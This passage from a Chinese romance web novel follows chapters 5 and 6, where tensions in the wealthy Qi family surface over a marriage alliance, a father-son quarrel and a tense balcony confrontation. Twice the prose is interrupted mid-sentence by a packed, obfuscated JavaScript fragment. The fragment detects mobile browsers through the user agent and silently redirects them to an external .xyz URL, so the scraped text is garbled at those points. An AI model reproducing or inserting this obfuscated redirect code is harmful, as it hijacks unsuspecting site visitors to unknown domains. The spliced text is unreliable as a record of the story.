她永远不会忘记,那个冬天的早晨,新闻里说,海城正逢十年难遇的大雪。出门前她和弟弟妹妹约定好一起玩雪,可等她回家,看见的却是警察手里面色比雪还苍白的弟弟。 他被搂在怀里,无知无觉,像是永远不会再睁开眼睛一样。 那天,尚年幼、被保护在象牙塔尖的她,在母亲的痛哭流涕中、在妹妹被绑匪带着投海的噩耗中,第一次真正懂得生死的分量。 也是那天过后,家里的所有都开始发生变化。 猝然又猛烈的变化。 祁之峤闭着眼睛都能回忆起那段暗无天日的日子,往日充斥欢声笑语的半山只剩摔砸声、惊叫哭泣声,她最温婉可人的妈咪成了枯干哀戚、精神衰弱的怨妇,最调皮贪玩的弟弟开始自我封闭、连最亲近的家人都不愿意靠近。 这样的日子最终以蒋知潼搬离半山邸、宣布要在归榕寺禅修收场。 “我没法再做一个好母亲,继续留在这里,只会让他们受我牵连,长久地困在痛苦里。” 蒋知潼这一走,除了家中大事,真的十几年没想过再回来。 丈夫陪她一同搬离了半山,但他作为祁山的董事会主席,有集团事务要处理,还要兼顾家庭,只能被迫和她开启长达十几年的分居生活。 祁之峤怨过、迁怒过、更伤心过,可时过境迁,梦碎无声。 那个冬天,在皑皑白雪中,她失去唯一的妹妹,也失去了完好无损的家。 祁之峤怎么会不清楚? “Sorry妈咪,是我失言。” 她垂首,深呼吸,情绪一点一点冷静下来。藏在墨镜下本就没消肿的眼睛又红了几分,是她的眼眶又酸了,但不知道怪谁。 “关于联姻,我保留我的意见,但我会和他见面的,就当为我自己的行为负责。” 说完,她起身,“我实在没胃口,现在这个状态也不适合上座吃饭,就先回房间休息了,帮我和爸爸道歉。” 蒋知潼张了张唇想要挽留,可叹了口气,还是选择了沉默,徘徊在嘴边的“你瘦了,最近是不是没有好好吃饭”到最后也还是没机会讲出口。 缺席她人生中太多重要的时候,所以如今连一句简单的寒暄问候都显得太过唐突。 等收拾好情绪,蒋知潼缓缓将目光移到了一直在桌尾静坐的云枳身上。 她恢复了原先的温和,唤她:“小枳,过来。” 自知方才这种或温情或伤感的场合并没有她的容身之地,云枳一直自觉地隐身当边缘人,被遗忘冷落也丝毫不恼。 现在被叫到,她上前,乖巧应了声:“潼姨。” 蒋知潼抬起云枳的胳膊,仔细端详她,犹记当初刚进门那个面黄肌瘦的小姑娘,如今就像春日抽条的柳枝,不知不自觉出落成这般亭亭玉立的模样。 云枳回握住她的手,轻声安慰:“潼姨,别难过。之峤姐可能是工作太累了,待会晚饭结束我给她带碗甜汤。” 蒋知潼拍了拍她的手,面露欣慰。 想当初云枳刚进祁家门,她的心情矛盾又复杂。 每当看着眼前人,心里都忍不住要怨恨为何不是她的岁岁站在她面前,自然做不到与之亲近。 但这么多年,云枳从来都很熨帖。 她回半山次数很少,久而久之,也逐渐开始习惯云枳的存在。 蒋知潼看着她,又好像在透过她看另外一个人,眼中波光闪动:“好孩子,好孩子。” 当年蒋知潼前一句“念佛抄经半生,求岁岁阴间路好走”,加上大师的提点的“解孽障,积福报”,催动了祁秉谦的善念,晨钟暮鼓,再有后来她从福利院被领进祁家门。 云枳当然知道祁氏夫妇的私心。 她一直将自己的位置摆得很正:她是祁家的住客,祁氏夫妇丧女后短暂的情感投注对象,并非真的家人。 况且真正的家人一个抛弃她,一个撒手人寰,对有血缘的亲人都无法抱有期待,她更不会因为祁家人没有从心底接纳她感到失落。 对从祁家获得的一切她都很知足,也满意现在的处境—— 如果能抛开那个想要把她赶之而后快的人不谈的话。 篱墙边的花朵零落,庭院里透着宁谧。 忽然,佣人神色匆匆朝着蒋知潼地小跑过来,打破了一时的气氛。 “夫人,少爷和先生在书房里吵起来了,您要不要过去看看——” 5. 叛逆 “秦家刚接回来的私生子现在都能独当一面,帮他老爹把产业打理地井井有条,这个不孝子倒好!” “成天穿得花花绿绿不是飙车就是在外面鬼混,教训两句就知道顶嘴,迟早气死我!” 祁秉谦双手撑在桌面,胸口跟着略微急促的呼吸起伏。 祁家的基因摆在这,近半百的年纪,发起怒来精神抖擞,和年轻时比较魄力半分不少,一身黑西装器宇轩昂,将他的神情衬得更加冷肃。 不远处办公桌旁的落地窗前,祁屹脱掉了双排扣西服外套,脚边是祁秉谦刚砸过来的烟灰缸。 日落时分,满片天空都是鎏金色,这个位置,几乎可以鸟瞰大半个海城。 祁屹望着窗外,从争吵开始到祁屿离开,神色始终很淡。 等祁秉谦对着空气泄完愤,他才移开视线,挽了挽袖子,“没什么大事,不值当发这么大的火。” “他要是能省心,哪里轮得到我发火?你看看他如今哪里有点正经样,说两句不爱听就叫我停他的卡。” 祁秉谦黑着脸,“我是他老子!翅膀硬了,反过来威胁他老子!简直荒唐至极!” “刚才您当着他的面把他和别人比较,不怪他不听。” 祁屹轻描淡写,“您这副封建大家长做派,是时候改改了。” 祁秉谦:“……” “况且您也上年纪了,妈妈知道又要担心。” 提到蒋知潼,祁秉谦的面色才勉强缓和。 话题暂时中止,书房一时静下来。 祁秉谦瞥了不远处的长子一眼,注意力慢慢归拢。 他清清嗓子,话音威严,“既然决定回国长待了,说说你最近的情况。” 祁屹:“想听欧洲分部年度汇报,我的秘书在办公室随时恭候。” 他贴心地问,“需要为您备车么?” 什么年度汇报,备什么车。 祁秉谦皱眉,直接点明,“科森的收购案推进过程有什么难题,可以跟我讲,谈判也可以由我出面。” 难得流露点温情,祁屹却视而不见,“这是集团给我的考验,不需要您费心。” “……” 祁秉谦怎么听不出来他的夹枪带棒,但表面无可指摘,他只能压着脾气,追问:“那你就没有什么打算?” “能有什么打算?” 祁屹面无表情,“从接管分部开始,我在祁山的发展框架就已经确定,现在回国,按部就班地交答卷不是么?” 说完,他捡起脚边的烟灰缸搁在桌子上。 啪嗒一声碰撞,像为话题凿下终止键。 “放心,祁山这艘巨轮不会沉没在我手里。我保证,每个祁家人都能在信托上躺平。” 祁屹声线倦懒又寡淡,“至少三代之外。所以爸爸多保重好身体,到时候再来监督也不迟。” “……” 祁秉谦忍了又忍,才让自己不至于当场骂一句逆子。 这么多年,祁屿生活在他眼前,脾性虽然顽劣叛逆,但本质不坏,犯了什么错教训一顿就行,教训也并非指望他能彻底改正,能老实一阵子就谢天谢地。 而祁屹自小大部分时间都跟着爷爷生活,接受的是老一辈对长孙的教育方式。为祁家下一个百年长盛不衰,老一辈训练长孙的那一套才是真正的封建大家长做派,虽然称不上泯灭人性,但苛刻和高期望不说,少不了矫枉过正。 和不成器的次子比较,他这个长子几乎是另一个极端。 他完美成长为一个继承人该有的模样。 手握权力,也身缚枷锁。 可也许是沟通方式出现了问题,又可能是长期情感需求遭到漠视铸就祁屹现在设防的性格,不知不觉,父子间的距离越来越远。 彼此面对面,是集团董事会主席对董事会成员,能谈论的话题似乎只剩下公事。 上一次仅仅以父子关系推心置腹是什么时候,早就记不清了。 祁秉谦想,长子也是叛逆的,和次子不一样,他的叛逆,是沉默寡言,是令人看不懂、捉摸不透,却又令人束手无策。 蒋知潼赶来的时候,书房里只剩祁秉谦一人。 她在书房环视一圈,一边忧心忡忡地询问和谁、为什么争吵,一边熟练地端起水往祁秉谦口里送服降压药。 “……” 祁秉谦搂住面前这个大半辈子唯一钟意的人,终于感受到一丝安慰。 - 说是家宴,实际缺席了两个祁家人。 除了祁氏夫妇,只剩云枳和祁屹各自端坐餐桌两边。 祁屹像没察觉到空气里的低气压,慢条斯理地从托盘上持起一双打磨光滑的乌木筷,夹菜的动作做得赏心悦目。 祁秉谦强压着的火气到云枳离席前要给祁之峤盛汤时终于忍不住发作。 “别给她盛!一个个都翅膀硬了有骨气得很,不愿意吃就都给我饿着!” 云枳被突如其来的怒吼声吓到,哆嗦一下,端着碗的手一个不稳,仍在冒着热气的甜汤从她手背尽数淋下。 她没忍住嘶了口气,蒋知潼见状,连忙抓起她的胳膊,第一时间叫佣人端来凉水。 对比火辣辣的刺痛,云枳更加不习惯蒋知潼的关切。 疼痛感尚在她的忍受范围内,她想要抽开手,“我没事的潼姨,我自己去处理下就好。” “胡说八道!”蒋知潼拉着她不松,用洁净的凉水冲掉她手上的污渍,“女孩子的手可是第二张脸,烫伤不好好处理,留疤了怎么办?” 云枳拒绝不了,沉默地静在原地任由处置。 不远处,祁屹放下筷子,不经意抬眸看了一眼。 她被烫伤的是左手,不久前他刚不小心弄断过这只手手腕上的一条红绳。 他短暂分了个神,先是觉得蒋知潼言辞夸大,凭现在的技术就算真的留疤也不过是一个修复手术的事,又觉得云枳的左手今天确实有些多灾多难。 凉水冲了几分钟,反复确定烫伤没有太严重,蒋知潼侧眸看向祁秉谦,脸上露出点愠色。 “我讲多少次,不要对孩子大吼大叫,你这个臭脾气什么时候可以收敛一点?” 祁秉谦的愤怒在看见云枳被烫时就已经哑火,现在妻子被点了燃线,他就差举白旗缴械投降。 碍于还有小辈在场,他只能沉着脸,吩咐佣人再准备点冰袋。 “我真没事潼姨,祁叔叔就是好久没见我们了,关心则乱。” 云枳轻笑一声,“他也好久没见您了,要是这点小事您就和祁叔叔生气,那我可是会内疚的。” 祁秉谦眼神闪了闪,没说话,但不动声色地观察着蒋知潼的反应。 “孩子都比你明事理。” 嗔怒声带了点江南吴侬软语的腔调,蒋知潼面上装冷淡,冷不丁丢下一句:“今晚你不许进主卧。” 祁秉谦:“……” 云枳被气氛感染,无意识抬了抬唇角。 她自己还没意识到,就听见不远处一道轻嗤声。 她应声望过去,就见祁屹眼神里的讥讽。 云枳莫名能翻译出那个眼神的意思:你很会狗腿。 “……” 嘴角的弧度凝固下来,她移开眼,熟练地选择无视。 蒋知潼再三叮嘱记得涂药才放云枳离开,往西厅没走两步,手机震了下。 「不来看看coco吗?」 是祁屿的短信,云枳叹口气,停下脚步,调转了个方向往马场走。 马场周围的景致在深秋迎来最美时刻,远远望过去,在森林和旷野之上,深绛屋顶的马厩,红杉木的交叉围栏,坐北朝南的室外训练室以及围绕一圈的河道和葡萄园。就算不骑马,在这里徒步兜风也是一种极致的享受。 云枳先是去往一间独立的木质棚架,里面除了一地干草空空如也,并不见人和马的影子,她略作思忖,便轻车熟路朝酒窖迈步。 不出所料,祁屿一身马术装备未卸,正大喇喇地坐在台阶上灌自己酒。 罩灯洒下昏黄的灯光,地面零散的酒瓶东倒西歪,看样子是已经喝了不少。 云枳靠近时,踩过的落叶发出脆响,他似乎察觉,放下酒瓶,懒懒地仰着转过头。 短暂过后,等辨认出她,他立马扯唇搂过身边小马驹的脖子,眸中带着几分醉醺醺的笑意,“coco快看,妈妈来找你玩了。” 全身椰白的小马像是对云枳的出现有所感应,马蹄撒欢般笃笃两声。 云枳无视祁屿给她的称呼,她之前明确抗拒好多次,但祁屿每次都假装听不见,她也懒得再纠正。 上前几步捋了捋coco柔顺的鬃毛,算给它回应。 这匹从新西兰购进的纯血pony天生腿长,是稀有的椰子色,通体白到发光,只有耳朵和护心毛附近有几道不规则的棕色花纹,近看像带了棕色耳罩,远看像棕椰子开出白椰肉,所以在被问到要给它取什么名字时,云枳第一反应想到的就是椰子「coco」。 云枳并不是爱心泛滥的性格,自认并不适合养宠物,奈何coco是很有活力又很乖巧的小马,除了刚空运进半山适应水土气候的那几天精神有点恹恹的,之后很快就和云枳熟悉亲近起来,大部分时候即便不用牵着缰绳都不会乱跑,非常讨人喜欢。 陪着它在草地撒欢、自由奔腾的时刻,她忍不住动容,在它身上竟然体会到几分辽阔和自由。 这份心情太难得,让她不知不觉对它心生好感。 见云枳许久都没给自己一个正眼,祁屿看着她,“真过分,等了你半天,怎么都不问问我怎么了?” 还能怎么了,小少爷日子过得太滋润,找不到生活目标,厌世发作躲起来借酒消愁呗。 还能喝酒,就说明没什么大问题。 “这次吵架的理由是什么?” 云枳将缰绳在木桩上打了个结,顿顿,觑他一眼,“你和祁叔叔。” 祁屿耷拉着眼皮,“还是老一套,一句新鲜的说辞都没有。” 他抄起酒瓶,又灌了一口,目视前方又没有落点,“不让我玩车,逼我去念商学课程,说我烂泥扶不上墙,霄哥半路被认回秦家祠堂现在都能独立接管业务了,我二十多岁连参与集团管理的资格都没有。” 嗤笑一声,他自言自语:“集团不是有大哥在,非要我去凑什么热闹。” ……确实是中肯但老一套的说辞。 云枳默了半晌,只能敷衍:“我也建议,你最好不要再玩车。” 两人同岁,她还记得,十八岁那年的某个夏天,祁屿被用担架从后山赛车道抬出来,浑身血淋淋的,整个人陷入深度昏迷。 医生想靠近仔细查看他的伤势,结果被他身上滔天的酒气熏得睁不开眼。 虽然是私人内部道路,赛车道周围的安全性也很高,可醉酒后高速驾驶,这种行动和自杀无异。 该说他命大,事态没有发展到最严重的地步。 确诊中度脑震荡、右桡骨远端骨折,祁屿在医院躺足了三个月,恢复得很好。 绑架案发生后,祁屿好不容易从创伤症候群里走出来,无论是蒋知潼还是祁秉谦对他都算得上百依百顺的溺爱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900883|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这次事件发生后,祁秉谦久违对他发了火,三令五申不再允许他碰车,封锁后山的车道不说,还直接停了他三个月的卡以示惩戒。 除此之外,原先就有安防门的酒窖特意又安插了两名佣人。 安插佣人并非是要看管里面的天价酒,而是为了随时盯紧祁屿,杜绝重蹈覆辙的可能。 这些年下来,祁屿软磨硬泡,后山的赛车道重新开放了,看守的佣人也放宽了对他的监视,只保证他的安全,不至于严防死守。 这也正是云枳看见他喝酒但并不担心他会有状况的原因。 还记得事故之后,云枳曾问过他是不是真的想自杀,祁屿语气轻飘地回答:“真的想死啊,活着好没意思的。” “如果不是最后打了圈方向盘车子撞到山体上,我现在应该连个全尸都没有。” “谁知道呢,突然就不想死了,明明成天活得像行尸走肉,最后一秒,我竟然为自己找到借口,觉得还有好多事等着我去做。” 对此,云枳的理解是,平常的快乐在他眼中唾手可得,反而能从濒死中找到一点刺激。 毕竟除了他这样内心荒芜的富贵闲人,绝大多数人活着连思考生与死的时间都没有。 “可除了飙车,别的事都很无聊啊。” 祁屿耸耸肩,又想到什么,对着云枳挑眉,“怎么,你也担心我啊?” “是啊。”云枳没忍住白他一眼,“担心你真的去死。” 暮色烟霭中,她撑着栏杆,下巴搭在手臂上,唇珠丰润,一口珍珠牙,被吹动的发尾都散发着撩人,挠得人心痒痒。 一阵酒意涌动,祁屿咽动干渴的喉咙,盯着她突然开口:“要不要kiss?” 云枳静了片刻,花三秒确认自己不是幻听。 须臾间,祁屿已经起身向她的方向靠近,隔着低矮的栅栏虚虚揽住她的腰,一手托起她的下颌。 看着不断在眼前放大的一张脸,云枳细眉一拧,冷飕飕,“祁屿,你发失心疯?” “……” 被这么连名带姓地质问,祁屿动作蓦然停在半空。 直视她眸底的冷然,他神色里闪过一丝不自然,但很快不见。 他松开她,若无其事的口吻,“说不定谈恋爱很有意思呢,我们什么时候假戏真做一下?” 云枳没说话,静静地审视他片刻,问:“你喜欢我?” 顿了顿,她又改了个问法:“你喜欢上我了?” 祁屿勾勾唇,语气轻佻,“见色起意算不算喜欢?” 云枳没顺着他的问题回答,口吻平静,“当初答应你假扮情侣是利益交换,你给我一份庇护,我帮你挡许琉音。” “你知道的,我对你没有那方面想法,就当你在讲醉话。” 见她认真,祁屿多少生出点不爽。 “那又如何,今时不同往日,如果我说我现在一定要和你假戏真做,你要拒绝我吗?” 他瞥她一眼,补充,“我好歹姓祁,真和我在一起,你也不吃亏吧?” “真要找姓祁的,我为什么不找你哥?” 云枳想也不想地反驳,“一个手里真金白银握着集团股份,一个每个月都要等零花钱,动不动还有被停卡的风险,无论怎么看,和你都比较吃亏。” “……” “更何况他比你大七岁,大概率会死在你前面。” 云枳面无表情,“早死早分钱。” 祁屿被怼得哑口无言,一时钻起牛角尖,心下开始对比起来。他不禁真的开始怀疑自己,又觉得她口中的另一个人也没好到哪去。 烦躁地抓抓头发,他习惯性摸向口袋想抽烟却落了空,后知后觉烟盒在外套口袋,自己还穿着马术服。 云枳冷静片刻,垂下眼,轻声开口:“祁屿,你是我在祁家唯一能放下心防的人,这么多年,你对我的好我都记在心里。” “我很珍惜我们现在的关系。” 很少有人能抵抗得了漂亮女人的示弱,至少祁屿是。 他伸手揉乱她的头发,冷酷道:“我开个玩笑,你紧张什么。” “你真实性格这么烂,除了成绩好、能力强,脸蛋长得不错,其他一无是处,谁稀罕和你谈恋爱?” 云枳盯着他,缓缓松了口气。 她转过头,轻声笑笑,“谢谢你夸我。” “……” 各自下了一步台阶,这会祁屿酒醒得也差不多了,和云枳摆了摆手就独自去马具间卸装备。 云枳解开缰绳,牵着coco往棚架走。 coco被栓了好久,如今解了禁锢,难免有些兴奋,马蹄声嘚嘚的透着欢腾。 晚风惬意,云枳的脚步也逐渐轻快,侥幸地想这个点应该不会有人过来,于是撒开手让它无拘无束地跑一跑。 她并未发现,在身后的某个方向,男人背光静伫在原地,一张英俊的脸缓缓从阴影中偏向她的背影。 更不知道,其实自己幸运地躲过一劫,因为从祁屿问她要不要kiss开始,他就已经出现—— 如果距离足够近,他会一字不落、完整听见他们的对话。 正因为听不见,刚才发生的一切暴露在他这个不知情的人眼皮底下,全然是爱恋中你侬我侬的作态。 祁屹纹丝不动,沉寂的眸底黑茫茫一片,冒着森然的冷意。 良久,他抬手,“咚”的一声—— 装着烫伤药膏的玉石罐被毫不留情地丢进河道。 水面荡起一圈涟漪,晕开倒映的月光,但很快,一切又都在夜晚趋于平静。 6. 窥私 祁之峤裹着外套从房间出来想透口气时,祁屹正在露台抽烟。 等辨认出靠在沙发上右腿叠着左膝的人是谁,她停下脚步就要转身。 “去哪?”祁屹坐姿松散,掀眸扫她一眼,声线淡得没温度。 “回房间睡觉啊还能去哪。”祁之峤攥了攥袖口,心里疑惑,这片露台在三楼靠近花园中庭的位置,离祁屹的起居室并不算近,他怎么会这个点在这里抽烟。 她用若无其事掩饰紧张,随意问:“哥你怎么还没休息?” 祁屹没回答,掸了掸烟灰,淡声吐出两个字: “过来。” 祁之峤一愣,呼吸都开始变得不自然。 她边听话地往沙发挪动步子边僵硬道,“怎……怎么了?我很困诶,有什么事情不能换个时间……” 在祁屹无声地注视她,她的话音越来越弱,越来越没有底气。 半晌,祁之峤识趣地噤声,乖乖在他对面坐好。 她垮着脸,认命般,“你批评吧,我都听着。” “我说了要批评你?” “那你找我干嘛?” 她这个问题其实问得毫无道理。 祁屹这些年在国外,而她也一直泡在剧组,兄妹两人见上面的次数屈指可数,要不是他们有保持线上联络,估计都要互相忘记对方的长相了。 祁之峤心里藏事,此刻顾不上和哥哥联络感情。 她表现得很警觉,“你也要和妈咪一样劝我早日息影安心待嫁?” “我已经放宽了你一年时间。” 祁屹掐了烟丢进烟灰缸,“息影,是你一年前就该履行的承诺,不要把它和你的婚姻混为一谈。” 祁之峤噎了噎。 她低下头,嚅嗫着:“为什么非要逼我息影?事实证明我改名换姓这么久都没人报道,我的身份隐瞒得很好啊……” “少天真了。” 祁屹打断她,“外面的娱记不是吃素的,你真以为可以永远天衣无缝?” “可这几年我的成绩你们难道不算有目共睹吗?我没有借家里任何一道关系,靠自己闯到今天。” 说着,祁之峤连忙点开手机举到祁屹面前,病急乱投医,“哥,你看,不久前我刚被提名了最佳女配,给我颁奖的可是内地电影的最高奖项。还有这个,是我下部戏的导演,他手里之前有部片子入围戛纳导演双周单元,现在筹拍的这个项目班底也很好,我努努力很有可能拿奖的……” “Joanne。”祁屹再度打断她,无动于衷,“光过去的一年,我替你处理的负面舆论不下于十条,需要我现在也翻出来,给你念一念上面都是怎么写的么?” 祁之峤心里一惊,脸色逐渐发白。 虽然知道自己这个哥哥的性格素来如此,可今晚他的语气显得格外冷漠。 “你想玩扬名立万的家家酒,我管不着,但如果是以这种自轻自损的方式,”对着自己的亲妹妹,他的语气也严厉到近乎无情,“我会最快促成你和唐贺庭的婚事,公开你的真实身份。” “哥!” 祁之峤神色慌乱,下意识否认,“狗仔最喜欢捕风捉影添油加醋了,你看到的那些都是乱写的!” “是么?” 祁屹冷嗤一声,淡漠的声线陡然生出一点警告,“如果报道里都是假的,那我想请你解释一下,究竟是何方高人,值得你把眼睛哭成现在这个模样。” 刹那,谎言被戳穿的僵硬令祁之峤整个人杵在原地动弹不得。 她后知后觉地想起来,墨镜被她丢在浴室并没有戴出来。 明明想再挣扎一下,可对上祁屹那双狭长锐利的眼,她的所有心思都无所遁形。 良久,祁之峤抬眸,轻颤着开口,带点央求:“哥,你不要动他。” 周围的温度几乎骤然直降冰点。 祁之峤亲眼看见祁屹凉薄地睇向她一眼。 这一眼,是质问,是审视。 质问究竟是什么人教会她对家人满嘴谎言,审视她的品味怎么不三不四、烂成这样。 他一言未发,祁之峤却什么都看明白了。 在他沉默的十几秒里,她的心脏好像在沸腾的开水里滚了一遍。 “祁之峤,我对你很失望。” 随着他的话音落地,祁之峤堆积的情绪顷刻决堤。 她转过脸,蓦地起身。 没跑两步,迎面撞上准备回房间的云枳。 “之峤姐……” 云枳神色复杂地看了她一眼,不得不出声。 祁之峤捂着脸,奔涌的眼泪在风中断线。 她没停留,步伐飞快地跑开。 云枳难得想多陪coco消磨会时间,结果没兜太久,大概是受了风,小腹疼得厉害。 模糊想起张妈今天送来的那碗老鸭汤,她后知后觉,意识到自己是快到生理期了。 她忍着痛走回来,没想到会在这里撞见这么修罗的场面。 西厅一楼的电梯在定期检修,这里暂时是她回房间的必经之路。 她无意觑探两人的对话,从楼梯上来,一开始只听得模模糊糊的,反应过来两人是在对峙,时机已经来不及。 想也不用想,那尊瘟神的心情一定很差,她这是撞在枪口上。 兴许今天出门前该看黄历,上面一定会提醒她“诸事不宜”。 云枳目不暇视,硬着头皮往前走,祈祷这个男人能直接无视她。 “站住。” 云枳的眼皮随着男人言简意赅的两个字剧烈跳动了一下。 她阖了阖眼,深呼吸一口。 随即转过身,垂下脸。 这个角度可以看清他脚上踩着的薄底皮鞋,简直跟他这个人一样又黑又冷。 “祁先生。” “听够了?”祁屹高鼻深目,眼风扫过来,讽刺意味浓厚。 “我不是故意……” 祁屹不想听她辩解,更不屑于弯弯绕绕,“窥私这种行为,往往是一个人内心自卑的反射。” “……” 他全然忘记不久前自己在马场做了什么,口吻冠冕堂皇,“我没有义务约束你的行为,但你住在这里一天,就别想着用祁家的家务事满足你这种低质的欲望。” 云枳脑袋一热,顿时忘掉方才在心里斟酌的全部言辞。 这种心情被人提线的感觉简直糟糕透了。 她感觉小腹类似撕扯的疼痛感似乎顺着神经攀上了她的大脑,即将冲破她耐受的临界值。 祁屹眉眼间尽是不耐,缓缓从沙发上起身。 云枳一声不吭,却连迈几步拦在他面前,径直抬起头。 “我知道一直以来你对我都有意见,从来没把我当祁家人。” “可同样,我也从来没把你视为家人。” 祁屹静了片刻,微微眯眼。 面前的人比他矮了一个头,她微微仰起脸,露台的灯光落进她眸底,他看见她瞳孔里的光晕,小小的一轮,湿润、清冷,像希腊波塞冬神庙升起的月亮。 她的反骨都如此有观赏性,以致于这样的时刻,他竟然为她突如其来的莽撞勇气而感到一丝讶异。 “你们乱七八糟的家务事,我一点都不关心,也不想知道。” 开罪他是极度不理智的行为,她早该被磨平棱角,忘掉内心的狼狈,但反复直面他的挖苦、揣测,她有那么一刻,甚至觉得自己从未被驯化过。 他不过是生在了终点,如果她也拥有这样的家庭,她只会比他更优秀。 他凭什么总是以一副高高在上的姿态对她评头论足。 “祁先生,是你自我意识过盛。” 身体的疼痛加上情绪一再起伏,云枳捏紧泛白的手指,直视他逐渐阴沉的黑眸,在他晦暗不明的目光里,一字一句:“你没资格这么说我。” 祁屹早已回过神,眼前的场景似乎是印证了祁屿白天说的那句“伸出爪子挠人”,内心只觉得荒谬又好笑。 他不知道她是怎么能理直气壮地做出这种所有人都伤害了她的模样,满腔愤怒就代表了“正确”,站在上风,仿佛她真的是彻头彻尾的受害者。 那种令人厌恶、像被粘稠的冷空气包裹的体感一瞬间蔓延。 祁屹刚要开口,面前的人忽然毫无预兆地蹲在地上。 她抱着自己,整个人缩成小小的一团,肩膀隐约在颤抖。 祁屹居高临下,不动声色地警告:“你又在耍什么花样?” 蹲在地上的人一动未动,像没听见。 他的耐心彻底告罄,命令道:“站起来。” 云枳咬咬牙,理智在他沉冷的声线慢慢回笼。 她的大脑逐渐清醒下来,对他这种傲慢渗透到骨子里的人,她这种程度的反抗,压根不痛不痒。 可脱口的话覆水难收,事已至此,她只能顺着这个情绪圆下去。 缓缓直起身,她垂着眼睫,声音虚弱:“我没有耍花样,我只是身体不太舒服,可能受了点风寒。” 祁屹怔了怔,睇一眼,面前的人唇色白得像纸,额角的发丝黏在皮肤上,鼻尖和额头挂满细密晶莹的汗珠。 就连拂开发丝的手背上,还留着烫伤未完全消散的红痕。 “知道自己身体不舒服还乱跑?”他侧身,别开眼,面色缓和了几分,只是话音里依旧没太多温度。 狗嘴里吐不出象牙。 云枳情绪已经发泄完了,此刻不想再和他啰嗦。 “谢谢祁先生关心,我会照顾好自己。” 云枳抿抿唇,对上他深邃的眼:“刚才是我太冲动,您放心,之峤姐的事我听到也会烂在肚子里。” “我先回房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900884|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,祝您晚安。” 说完这些话,她微微欠身,随即转身离开。 一句太冲动自然无法抹去她刚才说的话,但她主动收场,又真的有恙在身,祁屹懒得再多费口舌。 这会露台起了风,她逆着风向走得着急,开衫外套被掀开,内里的布料贴在身上,显出的一截腰肢像竿笔挺的竹。 明明在男人的掌心下,它是如此纤细荏弱。 祁屹盯着她,等意识到自己在想什么、脑子里一帧帧画面是什么的时候,手里重新点燃的烟已经抽了一半。 他竟然因为一截腰走神了半支烟的时间。 冷风拂过,火星迸溅在他指骨,烧红的温度像在他心上烙了下。 他摁灭最后半截烟,危险地眯起眼。 - 云枳吃完止痛药,关灯躺在床上,毫无困意。 她关了阳台的门,窗帘也拉到最严,她在黑暗静谧无声的裹挟中环视着这个房间。 尽管没有一丝光亮,蕾丝床幔、藤编吊灯,鱼骨拼的旧柚木地板,周围每一处都清楚地印在她脑子里。 能在城堡里做公主,不会有人愿意回到逼仄冰冷的福利院当孤儿。 但,是时候搬出去了。 云枳闭上眼,拉起被子,将自己埋起来。 她很庆幸,尽管低微的烙印成为过去式,在日渐滋长的贪得无厌中,没忘记保留一份自我脱敏的能力。 氧气逐渐稀薄,云枳重新探出脑袋,刚深深呼吸一口,不远处传来了开门声。 一条细伶伶的身子带着点冷意灵活地钻进了被窝。 没等她开口,对方的胳膊已经结实地环上她的腰。 “之峤姐……”面对这位不速之客,云枳的语气有些无奈。 脸贴在她背后的人呼吸很轻,带了点热意,大约是察觉她的语气,中气不足道:“是你自己没锁门,才让我有可乘之机。” 祁之峤的鼻音很重,应该刚哭过,想到她和祁屹先前的对峙,云枳叹一口气。 “你是不是听见我和他的对话了?” 云枳自然知道她指的是谁,轻嗯了声。 身后沉默片刻,“他是不是很过分?” 这种问题,云枳并不想搭腔。 祁之峤大约也只是觉得既然有了她这个知情人,所以安心把她当树洞,并不指望她回答。 虽然不想承认,云枳比她小了近四岁,但心智比她成熟不少,至少当她做听众,每次都能稳稳地托住她的情绪。 “就因为他自己接受了出卖婚姻,所以也非要逼着我这么做。” “明明小屿现在和你在一起他都没说什么,凭什么唯独要这么对我。” 她停了下,又自问自答,“难道就因为小屿受过伤害吗?可是明明我也是受害者……” 云枳想了想,纠正了她的说法,“他也反对阿屿和我在一起。” 祁之峤顿顿,“……真的?” “他简直是混蛋,冷血动物,黑心黑肺,没人性。” “真喺低B。” “……” 云枳想,她骂得实在不痛不痒,但祁之峤应该把她从剧组里学到的所有话术都用上了。 又过了好一阵,她心里也许是有些舒畅了,闷在云枳背后轻轻地问:“我是不是也做错了?” 祁屹虽然只比她大三岁,但除了是兄长,他很多时候甚至是超过父亲的存在。 在父母离开半山的那段日子,他比任何人都更加过问她的学业和生活,虽然经常不讲道理地干预她惹她烦,但对她的那份关心和爱护润物无声。 能问出这个问题,祁之峤心里其实早就有答案。 云枳顺着她的话往下说,“吵架的时候容易口不择言,他是你哥哥,你说错话,他可能会伤心,但不会真的怪你。” 祁之峤静了几秒,松开她,侧起半边身子,“真的吗?” 云枳翻了个身,估计止痛药还没发挥药效,小幅度的动作也好似牵动到神经。 她眉眼里染上点疲倦,直白地开口:“之峤姐,我生理痛,刚吃了药,现在很困了,今晚我可以借你一只胳膊,但真的没有精力安慰你。” 她刚也和祁屹对峙过,短暂占领上风最后偃旗息鼓,她不想也没那么多富余的情绪站在祁之峤的立场为他们解决兄妹矛盾。 祁之峤微微愣了下,但很快哦了声,并没有被人拒绝的恼怒。 她在被子里蛄蛹了一阵,最后搀上云枳的胳膊,没多久就睡了过去。 听着身旁均匀的呼吸声,云枳无声苦笑,不知道该羡慕她的睡眠质量,还是羡慕她天生忘性大,烦恼心中过,半点不带停留。 她不知道自己到底失眠了多久。 